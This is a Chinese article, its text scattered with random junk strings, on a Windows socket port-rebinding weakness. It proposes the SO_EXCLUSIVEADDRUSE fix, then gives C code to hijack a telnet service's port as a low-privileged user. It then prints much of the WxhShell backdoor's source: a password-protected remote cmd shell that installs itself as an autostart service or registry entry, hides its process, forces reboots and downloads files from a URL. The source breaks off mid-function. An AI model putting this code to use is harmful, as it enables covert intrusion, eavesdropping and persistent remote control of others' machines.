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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2M68CE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &iA?+kV ~s]iy9i saddr.sin_family = AF_INET; d+Ek%_ [`c^4E saddr.sin_addr.s_addr = htonl(INADDR_ANY); zY"1drE> G @M5#S7q"; bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9+{G8$Ai JSTuXW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O"c;|zCc> y6[If cN 这意味着什么?意味着可以进行如下的攻击: |>tKq;/ YYu6W@m] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :qIXY/ 3
%|86:* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3P^sM1 5[YDZ7g"~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vc2A PSZL2iGj9V 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 NR5oIKP? qx4I_% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IbP#_Vt f v9V7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \0vr>C ] 0B2#
d 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jkt_5+S cxr=k%~}J #include INi]R^- #include I.94v
#r #include b7wvaRe. #include V&\[)D'c DWORD WINAPI ClientThread(LPVOID lpParam); +(1zH-^. int main() h?8]C#6^ { <\}KT*Xp WORD wVersionRequested; HP3lz,d DWORD ret; w6W}"Uw WSADATA wsaData; P)MDPI+~ BOOL val; (KF=On;=Y SOCKADDR_IN saddr; twlk-2yT! SOCKADDR_IN scaddr; ; o0&`b? int err; oWC@w SOCKET s; D(H>R&b! SOCKET sc; &qr;IL7' int caddsize; TG+VEL |T HANDLE mt; Ndcg/d DWORD tid; :X]itTrGs wVersionRequested = MAKEWORD( 2, 2 ); vWf;
'j err = WSAStartup( wVersionRequested, &wsaData ); < VSA if ( err != 0 ) { jhg;%+KB printf("error!WSAStartup failed!\n"); A?t%e return -1; x*nSHb } yRfSJbzaf\ saddr.sin_family = AF_INET; KjE+QUa Y~(Md@!0S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <RG|Dx[:= DFd%9*N saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NF0%}II&xK saddr.sin_port = htons(23); 8peDI7[| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \DD0s8 { thvYL.U: printf("error!socket failed!\n"); q11>f return -1; tGl;@V@Qj } MvWaB val = TRUE; x`dHJq`_g //SO_REUSEADDR选项就是可以实现端口重绑定的 FZtfh if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %e(z/"M=` { 6N;wqn printf("error!setsockopt failed!\n"); 45MLt5^| return -1; D? 8rO" } ;F~LqC$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K/3)g9Z&io //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g;8jK8Kh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h}cy D7Wn N0=ac5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?hWwj6i& { S!3S4:]B^ ret=GetLastError(); NZ-\h printf("error!bind failed!\n"); p-zXp K" return -1; [vHv0" } J~1r{5V4{ listen(s,2); U]vYV while(1) PV4(hj { 3+G@g#MY caddsize = sizeof(scaddr); $}=krz:r //接受连接请求 (s7;^)}zx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ( 2n>A D_ if(sc!=INVALID_SOCKET) 75T7+:p { pk3<| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6u`)QUmItg if(mt==NULL) C~N/A73gF { zOqn<Y@ printf("Thread Creat Failed!\n"); !>e5z|1 break; }c`fW& } #P?6@\ } >9(hUH CloseHandle(mt); ~D5\O6mU- } UF<uU-C" closesocket(s); fe_yqIdk WSACleanup(); $ n+w$CI) return 0; /~Z?27F6@ } LK, bO| DWORD WINAPI ClientThread(LPVOID lpParam) %_{tzXim { hDcEGU_ SOCKET ss = (SOCKET)lpParam; *WIj4G.d SOCKET sc; sZL#xZ5
Df unsigned char buf[4096]; k?z98 >4 SOCKADDR_IN saddr; ?F6pEt4 long num; A%D7bQ DWORD val; b r^_'1 DWORD ret; Zuw?58RE\ //如果是隐藏端口应用的话,可以在此处加一些判断 AQ+]|XYo_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 PG_0\'X)/w saddr.sin_family = AF_INET; 9v}G{mQ# saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u\LFlX0sO saddr.sin_port = htons(23); q|v(Edt|_[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %9M~f* { 0LfU=X0#7 printf("error!socket failed!\n"); 6C-/`>m return -1; m"fNK$_d } y6IXd W val = 100; g|<]B$yN# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _%B^9Yl3( { @H7Wb} ret = GetLastError(); >9q&PEc return -1; |iR T!
] } (A?H1 9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |kvC
H<F' { ewfP G,S ret = GetLastError(); N^pJS6cJkl return -1; <oWB0% } DWID$w if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &/uu)v { t@R
?Rgu3 printf("error!socket connect failed!\n"); -GqT7`:(H4 closesocket(sc); ltgc:&=|@ closesocket(ss); n%k!vJ)] return -1; %c
[F;ug } VsN pHQG] while(1) a_ `[Lj { mFSw@CC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0\:(ageY? //如果是嗅探内容的话,可以再此处进行内容分析和记录 H'LD}\K l //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 't_[dSO num = recv(ss,buf,4096,0); ;Ww7"-=sw if(num>0) FRS>KO=3 send(sc,buf,num,0); {2+L@ else if(num==0) ;[W"mlM break; <IC~GqXv num = recv(sc,buf,4096,0); EC\yzH*X if(num>0) cFJ-Mkll send(ss,buf,num,0); W ]Nv33i
[ else if(num==0) Ci<ATho break; baP^<w^ } +Wx{: closesocket(ss); u6_@.a} closesocket(sc); ~-dV^SO return 0 ; &3$z4df
} *=wYuJ# qqu.EE V0%V5> ========================================================== -W<vyNSr ^.hoLwp. 下边附上一个代码,,WXhSHELL kf;/c}} s7l;\XBy ========================================================== a9T@$: :{ur{m5bX #include "stdafx.h" 8Y_ol#\L H.WE6 #include <stdio.h> '/$d0`3B> #include <string.h> ,N
e;kI #include <windows.h> ^RP)>d9Xp{ #include <winsock2.h> PIWux{ #include <winsvc.h> IR- dU<<9O #include <urlmon.h> svuq gSn "d$m@c #pragma comment (lib, "Ws2_32.lib") >^Yq|~[ #pragma comment (lib, "urlmon.lib") sk
2-5S h^*4}GU #define MAX_USER 100 // 最大客户端连接数 2l
F>1vH #define BUF_SOCK 200 // sock buffer hTM[8 ~<^ #define KEY_BUFF 255 // 输入 buffer ~O]]N;>72" !Mu|mz= #define REBOOT 0 // 重启 PZm:T+5H #define SHUTDOWN 1 // 关机 PNA\ TXT Y)$ ;Ax-D #define DEF_PORT 5000 // 监听端口 #."Hh<C V %_4% #define REG_LEN 16 // 注册表键长度 m1IKVa7-\} #define SVC_LEN 80 // NT服务名长度 mCWhUBghR BA:yQ // 从dll定义API 2PeR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -YjA+XP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \/SQ,*O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J8"[6vI d~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LS5vW|]w Qq@G\eRo // wxhshell配置信息 .(X
lg-H, struct WSCFG { ]/!<PF int ws_port; // 监听端口 S<L.c char ws_passstr[REG_LEN]; // 口令 W?We6.%
int ws_autoins; // 安装标记, 1=yes 0=no h@@nR(<i char ws_regname[REG_LEN]; // 注册表键名 eXkujjSw" char ws_svcname[REG_LEN]; // 服务名 Sje wuIi1 char ws_svcdisp[SVC_LEN]; // 服务显示名 JIFU;*PR1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 |hO~X~P char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c(/VYMJZ& int ws_downexe; // 下载执行标记, 1=yes 0=no u1~9{"P* char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %\kOLE2` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &tZG
@ ErT{(t7 }; 7-~Q5Kr. 7]BW[~77 // default Wxhshell configuration `- \/$M9s= struct WSCFG wscfg={DEF_PORT, %&Fk4Z}M "xuhuanlingzhe", Lj"A4i_ 1, ;=9
>MS} "Wxhshell", R.s^o]vT "Wxhshell", eVR5Xar "WxhShell Service", xEltwuDd? "Wrsky Windows CmdShell Service", A+&xMM2Wj "Please Input Your Password: ", 2TES>} 1, {66fG53x " http://www.wrsky.com/wxhshell.exe", Rm5Kkzd0o "Wxhshell.exe" bO;(bE m@ }; yg2uC(2 ?hR7<02 // 消息定义模块 WnHUE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y];Ycj; char *msg_ws_prompt="\n\r? for help\n\r#>"; qTB$`f'|$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `s]4AKBO char *msg_ws_ext="\n\rExit."; =rd|0K"(r char *msg_ws_end="\n\rQuit."; 4#(ZNP char *msg_ws_boot="\n\rReboot..."; 'i8U char *msg_ws_poff="\n\rShutdown..."; T?p`) char *msg_ws_down="\n\rSave to "; yE\wj j6,ZEm char *msg_ws_err="\n\rErr!"; IF +i3#$ char *msg_ws_ok="\n\rOK!"; W{5:'9, @<@SMK) char ExeFile[MAX_PATH]; #-Z8Z
i"44 int nUser = 0; ?,=f\Fz! HANDLE handles[MAX_USER]; ycJg%]F*5 int OsIsNt; Nk;iiz+_p Y2R \]FrT SERVICE_STATUS serviceStatus; tURc bwV SERVICE_STATUS_HANDLE hServiceStatusHandle; Fa epDjY8 ~RBrSu) // 函数声明 IhiGP
{ int Install(void); E"|4Y(G int Uninstall(void); $2MAZGJV int DownloadFile(char *sURL, SOCKET wsh); '>k{tPi. int Boot(int flag); Dw2Q 'E void HideProc(void); npDIX int GetOsVer(void); (5<^p& int Wxhshell(SOCKET wsl); ==H$zmK void TalkWithClient(void *cs); QJW`}`R int CmdShell(SOCKET sock); M|[ZpM+ int StartFromService(void); 5y}
v{Ijt int StartWxhshell(LPSTR lpCmdLine); J RPSvP\ O%f8I'u$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;XC@=RpX VOID WINAPI NTServiceHandler( DWORD fdwControl ); U{ ;l0 2S 46h@j>/K // 数据结构和表定义 _Hd{sd#xX1 SERVICE_TABLE_ENTRY DispatchTable[] = MqKye8h9f { +<.\5+ {wscfg.ws_svcname, NTServiceMain}, -#29xRPk {NULL, NULL} w#
*1 /N }; .A1\J@b e#/kNHl // 自我安装 *8ExRQZ$ int Install(void) ]feyJLF { 3"UsZyN: char svExeFile[MAX_PATH]; 3_`szl- HKEY key; #*c F8NV- strcpy(svExeFile,ExeFile); [WB{T3j 33~qgK1> // 如果是win9x系统,修改注册表设为自启动 S)A'Y]2X if(!OsIsNt) { H<ZU#U0FZf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sg]
J7;] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R[1BfZ 6s RegCloseKey(key); me\cLFw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {6d b{ ay_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Y:ROoFOZ RegCloseKey(key); DJQglt}~ return 0; 8@M'[jT } N8!TZ~1$ } vtMJ@!MN; } ]]cYLaq( else { bO<0qM~ S^cH}-+ // 如果是NT以上系统,安装为系统服务 \m@Y WO?L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0ZC,BS`D^ if (schSCManager!=0) uu%?K@Qq { 1Xyp/X2rI SC_HANDLE schService = CreateService |z^pL1Z]5 ( y1BgK>R schSCManager, z]Acs wscfg.ws_svcname, VG*'"y*%w wscfg.ws_svcdisp, sFb4` SERVICE_ALL_ACCESS, f]d!hz! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jbp5'e
_ SERVICE_AUTO_START, E=/[s]@5 SERVICE_ERROR_NORMAL, y~F<9;$= svExeFile, ^GYq#q9Q NULL, TK>{qxt:= NULL, @ERu>nSP NULL, )Hf~d=GG NULL, =V|Nn0E NULL ?z"KnR+?Q ); `<j_[(5yb if (schService!=0) ~4)Y#IxL { *(*+`qZL{( CloseServiceHandle(schService); [.q(h/b CloseServiceHandle(schSCManager); vZajT!h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'H FK Bp strcat(svExeFile,wscfg.ws_svcname); >Wh3MG6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y67uH4&Vm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ggou*;' RegCloseKey(key); b4 hIeBI\ return 0; rF'R>/H } (BERY } k_3j
' CloseServiceHandle(schSCManager); wq4nMY:# } '1]7zWbW } _2jw,WKr z };ZxN return 1; >;i\v7 } Qg0vG] '@:[axu // 自我卸载 {rPk3 int Uninstall(void) /#yA%0=w { DzPs!(5[I HKEY key; +$(0w35V5 h39e)%x1 if(!OsIsNt) { =w<VT% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ">6&+^BN' RegDeleteValue(key,wscfg.ws_regname); *?8RXer RegCloseKey(key); )&.!3y 660 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j
0
Y RegDeleteValue(key,wscfg.ws_regname); (5;D7zdA RegCloseKey(key); /R%^rz'w return 0; V:\]cGA{ } U1Yo7nVf } 0yHjrxc$ } 'XTs
-= else { ~tNY"{OV# {Bvm'lq` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9Q@*0- if (schSCManager!=0) S?,_<GD)w { "2mFC! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); feCqbWq: if (schService!=0) @\~tHJ?hQd { vbKQ* if(DeleteService(schService)!=0) { ,QS'$n CloseServiceHandle(schService); ,U%=rfB~ CloseServiceHandle(schSCManager); 2cjEex:& return 0; vOgLEN&] } BPWnck=% CloseServiceHandle(schService); Z}[xQ5 } ZT9IMihV CloseServiceHandle(schSCManager); Qcgu`]7} } Wy(pLBmb } @xJCn}`Zj ] SK[C"
S return 1; 6F`\YSn+ } %FlA":W 4zzlazU // 从指定url下载文件 -]QguZE int DownloadFile(char *sURL, SOCKET wsh) C<t RU5| { ,xj3w#`zaf HRESULT hr; vfXJYw+6_ char seps[]= "/"; n{{P3f char *token; }Z-I2
=] char *file; taCCw2s-8* char myURL[MAX_PATH]; m %Y(O char myFILE[MAX_PATH]; !
o^Ic`FhS cno;>[$ strcpy(myURL,sURL); u 6(GM token=strtok(myURL,seps); 6+Jry@ while(token!=NULL) V5Xi '= { 4OEKx|:5n file=token; =43d%N
token=strtok(NULL,seps); HZuiVW8 } fM{1Os A^cU$V%?W GetCurrentDirectory(MAX_PATH,myFILE); B<+pg strcat(myFILE, "\\"); bqjr0A7{ strcat(myFILE, file); ,|iy1yg( send(wsh,myFILE,strlen(myFILE),0); jnDQ{D send(wsh,"...",3,0); L"^.0*X/d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~T&%
VvI if(hr==S_OK) (!ZV9S return 0; L1F###c else g 9|qbKQ:[ return 1; cdN/Qy #Jv43L H } }\4p3RQrz p6[#f96^u // 系统电源模块 e2Ww0IK!E int Boot(int flag) (s Jq;Z { k)i"tpw HANDLE hToken; Ym:{Mm=ud TOKEN_PRIVILEGES tkp; s<d!+< \2Xx%SX if(OsIsNt) { vQy$[D* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 08O7F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3/l\ <{ tkp.PrivilegeCount = 1; 4$F:NW,v:) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; shy AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mw Z'=H if(flag==REBOOT) { 7y;u} 1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -HN%B?}. x return 0; '5V^}/ } w`0)x5
TGR else { ]DU61Z"v?b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S{ey@X( return 0; 8Y xhd
. } &!6DC5 } T|!D>l' else { Y!;gQeC if(flag==REBOOT) { 6I5o2i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OFIMi^@ return 0; %Dra7B% } *i%.{ YH else { o|+E+l9\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FXeV6zfrE return 0; 2H3(HZv } K Ka c6Zj } ^A- sS~w ^~,
ndH{ return 1; BL0|\&*1 } 2DUr7rM [h^f% // win9x进程隐藏模块 }}s8D>;G~ void HideProc(void) ]u;GNz}? { 90?,-6 U|9U(il HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [4ee <J if ( hKernel != NULL ) T^N L:78 { D7M0NEY pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^t`f1rGR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )&XnM69~b FreeLibrary(hKernel); D>ojW|@} } D9,e3.?p 7F=2t_2O return; HRj7n<>L= } WBy[m ?d <8g=BWA // 获取操作系统版本
!8we8)7 int GetOsVer(void) L#`7 FaM? { 0Y[*lM- OSVERSIONINFO winfo; ~Vwk:+): winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m;1'u;
GetVersionEx(&winfo); 0GS{F8f~, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (LRNU)vD7$ return 1; BSOjyy1f else ]c5DOv& return 0; 4 |FRg } NP$e-" 1 *&(2`#C; // 客户端句柄模块 @X
K> int Wxhshell(SOCKET wsl) N?\bBt@ { E]\D>[0O SOCKET wsh; :m]/u( /N struct sockaddr_in client; g'KzdG`O0 DWORD myID; >'eB2 Z+r%_|kZ while(nUser<MAX_USER) HE*7\"9 { (QhGxuC int nSize=sizeof(client);
.V8/ELr] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C:rRK* if(wsh==INVALID_SOCKET) return 1; 7WgIhQ~ n?zbUA# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Z,i|K; if(handles[nUser]==0) 3fm;r5 closesocket(wsh); G(:s-x ig6 else -l\~p4U nUser++; KbXbT } dFdlB`L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W+8BQ-2 '$n:CNha return 0; wTB)v ! }
CEbzJ RP,A!pa@ // 关闭 socket c!tvG*{ void CloseIt(SOCKET wsh) gTqeJWX9wP { Tld1P69( closesocket(wsh); P{"WlJ nUser--; 0[V&8\S~'T ExitThread(0); (m<R0 } .=>\Qq% "kcpA#uD| // 客户端请求句柄 #.<*; rB void TalkWithClient(void *cs)
o G(0i { w9G_>+?E XC*uz SOCKET wsh=(SOCKET)cs; ?H y%ULk char pwd[SVC_LEN]; '.]e._T char cmd[KEY_BUFF]; =Dh$yC-Zr char chr[1]; oP+kAV#] int i,j; TTeA a "Q3PC!7X:5 while (nUser < MAX_USER) { xN e_qO fndK/~?]H if(wscfg.ws_passstr) { >{j,+$%kp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =$^Wkau //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _7r qXkp% //ZeroMemory(pwd,KEY_BUFF); b ^uP^](J i=0; >r;ABz/ while(i<SVC_LEN) { I++W0wa.n %T`4!:vy // 设置超时 gV<0Hj fd_set FdRead; fn1 ?Qp| struct timeval TimeOut;
H;b8I FD_ZERO(&FdRead); tn"Y9
k| FD_SET(wsh,&FdRead); ATKYjhc _ TimeOut.tv_sec=8; ^zvA?'s TimeOut.tv_usec=0; JN{<oxI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :hC
{5!| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v9Z lNA7m! 1 ;_{US5FR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g,00'z_D pwd =chr[0]; @/CRIei if(chr[0]==0xd || chr[0]==0xa) { C_;HaQiu pwd=0; c+@d'yR break; o,*folL } 4y|xUO: i++; zkjPLeX } hknwis%y fl} rz // 如果是非法用户,关闭 socket E9yFREvQc if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "2)+)Db } :'5G_4y)h xDPQG`6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wm); aWP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s,eld@ >/7KL2* while(1) { 2uvQf&, s(1_: ZeroMemory(cmd,KEY_BUFF); F,'^se4& ddUjs8VvJ // 自动支持客户端 telnet标准 `U{o: j=0; {toyQ)C7 while(j<KEY_BUFF) { :)KTZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ybs=W<- cmd[j]=chr[0]; 844tXMtPB\ if(chr[0]==0xa || chr[0]==0xd) { vDu0 cmd[j]=0; tb-OKZq break; 1$='`@8I } t 3(%UB j++; o~i]W.SI( } 8gVxiFjo 5?V? // 下载文件 lH#@^i|G if(strstr(cmd,"http://")) { 5;3c< send(wsh,msg_ws_down,strlen(msg_ws_down),0); /E`l:&89) if(DownloadFile(cmd,wsh)) l%sp[uqcg send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ED(O-W else 5]4<!m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6MLN>)t } 6.
+[
z else { 2+T 8Y,g n:5O9,umZ switch(cmd[0]) { R$!;J?SS ;4-pupK~% // 帮助 ^}i50SG:y case '?': { xZ9}8*Q&: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :GwSs'$O break; ;kyL>mV{ } uPv;y!Lsa@ // 安装 >wg9YZ~8 case 'i': { }@ O|RkY if(Install()) Pe+ 8~0o=R send(wsh,msg_ws_err,strlen(msg_ws_err),0); U /1[~429 else mV:RmA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q|j@#@O 1 break; G+#| )V } F:*[ // 卸载 LyJTK1]# case 'r': { <B]i80. if(Uninstall()) Dyouk+08x send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1jUhG2y else rZ8Y=) e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (n":]8} break; ~uhyROO,G" }
wzHjEW // 显示 wxhshell 所在路径 %468s7Q[Mi case 'p': { #lBpln9 char svExeFile[MAX_PATH]; t_dw}I strcpy(svExeFile,"\n\r"); ?l\gh1{C strcat(svExeFile,ExeFile); %#Wg^l
' send(wsh,svExeFile,strlen(svExeFile),0); p:[`%<j0 break; ?BHWzo! } 1WUFk ?p // 重启 |
Q1ubS case 'b': { ecY ^C3+S send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @n~>j&Kp if(Boot(REBOOT)) O?j98H
Sya send(wsh,msg_ws_err,strlen(msg_ws_err),0); CfkNy[}= else { eB<V%,%N# closesocket(wsh); !OuTXa,IH ExitThread(0); s%L"
c } dPH!
V6r break; u/!mN2{Rd } !\&7oAs=I // 关机 )MD*)O case 'd': { /c_kj2& ]9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XvA0nEi if(Boot(SHUTDOWN)) b2}QoJ@` send(wsh,msg_ws_err,strlen(msg_ws_err),0); #czyr@ else { -~<q,p"e closesocket(wsh); ;G4HMtL ExitThread(0); hdsgOu } 8zCGMhd break; yNLa3mW } MuFU?3ovG* // 获取shell Z5*(W;; case 's': { }GoOE=rhY CmdShell(wsh); \c9t]py<.h closesocket(wsh); 86^ZYh ExitThread(0); ]df9'\ break; j?f,~Y<k } p(x1D]#Z[ // 退出 ~/|unV case 'x': { +]S;U&vQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H4y1Hpa, CloseIt(wsh); So)KI_M break; (v'lb!j^# } m m J)m // 离开 XZep7d} case 'q': { [KimY send(wsh,msg_ws_end,strlen(msg_ws_end),0); PO%yWns30o closesocket(wsh); g<hv7?"[ WSACleanup(); t'=~"?T/o exit(1); '.h/Y/oz break; ir@N>_ } f1]AfH# } {M)3GsP? } +}(B856+ $^NWzc // 提示信息 WfTdD.Xx if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uG(~m_7Hx } ,s yA() } :d%
-,v F;MT4*4 return; <_sT]?N# } cP#]n)< 8Snq75Q< // shell模块句柄 )HzITsFZKT int CmdShell(SOCKET sock) ek{PA!9Sk { #o r7T^ STARTUPINFO si; f<> YYeY ZeroMemory(&si,sizeof(si)); Xg!|F[i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $vw}p. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P2
K>|r PROCESS_INFORMATION ProcessInfo; -YRL>]1 char cmdline[]="cmd"; Y%CL@G60 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5>1Y="B return 0; [BZ(p } T24#gF~ E?m#S // 自身启动模式 @rK>yPhf int StartFromService(void) C>\!'^u1 { QnP?; typedef struct ' ! UF& { uDE91.pUkr DWORD ExitStatus; t~<-4N$( DWORD PebBaseAddress; 0ZID
@^ DWORD AffinityMask; .f92^lu9 DWORD BasePriority; }_kI> ULONG UniqueProcessId; $NGtxZp ULONG InheritedFromUniqueProcessId; bhm~Ii } PROCESS_BASIC_INFORMATION; $jeDVH (fGJP*YO PROCNTQSIP NtQueryInformationProcess; SVs~, E'BH7JV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #`#aSqGmc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dW^_tzfF7 RkH oT^
